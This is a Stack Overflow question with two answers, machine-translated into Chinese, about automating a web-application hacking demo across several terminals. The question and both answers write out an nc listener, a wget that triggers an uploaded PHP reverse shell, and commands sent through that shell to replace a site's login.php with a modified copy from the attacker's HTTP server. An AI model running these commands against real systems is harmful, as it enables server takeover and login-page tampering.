【问题标题】:How to automate a bash script [closed]如何自动化 bash 脚本 [关闭]
【发布时间】:2016-11-30 11:25:29
【问题描述】:

好人好人!

我正在尝试编写一个脚本,允许我展示一个用于破解 Web 应用程序的 PoC,目前它需要我打开几个不同的进程和终端并在特定终端中执行命令,然后切换回其他终端。

我想做以下事情:

  • 终端 0:
  • 启动http服务器> python -m SimpleHTTPServer 8081
  • 启动终端 1:
  • 启动shell监听> nc -v -n -l -p 8082
  • 启动终端 2:
  • 启动反向shell> wget "172.16.0.XXX/upload/16/rs/rs.php"
  • 终端 1(在 nc 内):
  • 浏览到目录> cd var/www/users/
  • 下载修改页面> wget "10.13.37.128:8081/login.php"
  • 3 号星航站楼:
  • 打开firefox并浏览到172.16.0.180/users/login.php

& python -m SimpleHTTPServer 8081

&终端-e nc -v -n -l -p 8082

wget "172.16.0.180/upload/16/rs/php-reverse-shell.php"

cd var/www/users #问题来了,怎么切换回nc终端?

wget "10.13.37.128:8081/login.php"

让我感到困惑的是在需要时在特定终端之间切换。只为此编写一个宏是否有意义,或者可以这样做?任何帮助将不胜感激!

【问题讨论】:

  • 请尝试通过添加一些代码来改进您的问题。看看:stackoverflow.com/help/how-to-ask
  • @mcNets 谢谢,对不起,我是 Stack Overflow 的新手,我们将不胜感激。
  • 至少阅读注册到此站点时显示的two-minutes tour 而不是跳过它怎么样?

标签: linux bash cmd terminal


【解决方案1】:

启动各种终端的脚本怎么样?

gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'

对于“nc 问题”,我建议一个简单的技巧:

(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082

【讨论】:

  • 问题是我想在运行wgetrs.php 的请求后回到启动监听器'nc -v -n -l -p 8082' 的终端
【解决方案2】:
#!/bin/bash
xterm -title "=http server" -e "python -m SimpleHTTPServer 8081" &
xterm -title "=Shell Listener" -e "nc -v -n -l -p 8082" &
xterm -title "=reverse shell" -e "wget '172.16.0.XXX/upload/16/rs/rs.php'" &
xterm -title "=Download Modified Page" -e "wget '10.13.37.128:8081/login.php'" &
xterm -title "=Firefox" -e "firefox 'http://172.16.0.180/users/login.php'" &

这使用 Xterm 为不同的命令打开多个终端仿真器。

【讨论】:

  • 谢谢,但问题是我想在运行 rs 的 wget 请求后返回启动监听器“nc -v -n -l -p 8082”的终端。 php
猜你喜欢
  • 1970-01-01
  • 2010-12-02
  • 1970-01-01
  • 2010-10-31
  • 1970-01-01
  • 2017-09-05
  • 1970-01-01
相关资源
最近更新 更多